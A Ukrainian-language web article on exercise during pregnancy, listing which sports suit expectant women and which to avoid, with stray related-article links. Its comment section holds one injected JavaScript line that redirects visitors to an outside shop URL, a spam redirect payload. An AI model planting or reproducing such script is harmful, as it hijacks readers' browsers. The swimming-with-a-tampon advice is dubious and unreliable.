Вагітність і спорт

Вагітність і спорт

Всім відомо, що регулярні фізичні навантаження корисні для організму. Вони надають тонус мʼязів, роблять фігуру гарніше, додають бадьорості.

Але більшість жінок, дізнавшись, що вагітні, в паніці кидають будь-яку фізичну активність, боячись нашкодити майбутній дитині. Наскільки обгрунтовано така поведінка?

Вагітність — це не тільки процес виношування дитини. В цей час йде підготовка організму до майбутніх пологів, на які жінка витрачає чимало фізичних сил. Це як підготовка спортсмена до змагань.

Чи  варто тринуватися у період вагітності?

Безумовно, обережність у фізичній активності в цей період дотримуватися потрібно.

Якщо організм звик до певного виду фізичної активності до вагітності, то можна продовжувати тренуватися весь перший триместр вагітності. Необхідно слухати організм. У якийсь момент він сам буде просити чергового зменшення навантаження. При нормальному перебігу вагітності деякі жінки досить повноцінно тренуються аж до кінця другого триместру. Головне правило при цьому — не перегріватися, так як це шкідливо для майбутньої дитини і дуже важко для організму.

Фото татуировок беременных девушек

Якщо жінка не займалася спортом до настання вагітності, можна почати тренуватися за курсом передпологовій гімнастики. Цього буде достатньо, щоб підтримувати себе у формі і підготуватися до пологів. Такий вид навантаження безпечний аж до появи малюка.

Види спорту які принесуть користь, я яки навпаки можуть зашкодити

Види спорту які принесуть користь

З корисних навантажень для жінки в даний період можна виділити: аквааеробіку, аеробіку, заняття йогою, бодіфлекс. Ці вправи розтягують мʼязи і допомагають навчитися правильно дихати, що є дуже важливим під час пологів. Дуже корисним є плавання, але під час занять необхідний тампон для запобігання можливих вагінальних інфекцій. Бігати теж можна, але з обмеженнями. Тривалість тренування при цьому повинна бути не більше години, а швидкість підбирається так, щоб можна було спокійно розмовляти під час пробіжки. При будь-яких заняттях спортом під час вагітності потрібно бути дуже обережною, не допускати падіння і удари. Велику користь принесуть щоденні прогулянки на свіжому повітрі.

Гиполгалактия (недостааточная выработка грудного молока): проявления и как с ними бороться

При вагітності не рекомендується кататися на ковзанах, роликах, лижах, їздити на велосипеді, грати в гольф, теніс. Можливість отримати травму під час тренувань досить висока. Їзда на велосипеді може принести шкоду через трясіння на нерівностях дороги.

Бойові мистецтва, парашут, волейбол, баскетбол, дайвінг взагалі краще залишити на найближчий час. Ці види спорту небезпечні навіть для невагітних жінок.

Жінкам потрібно памʼятати, що вагітність — це не хвороба, а просто особливий час в житті. І зовсім необовʼязково бути повною і незграбною. Завжди можна тримати себе в формі, тим більше що це принесе майбутній дитині тільки користь.

Комментарии

  • window.location.href='http://www.bags-boutique.ru/action/?entranceId=9390_0_0'1551201516.4952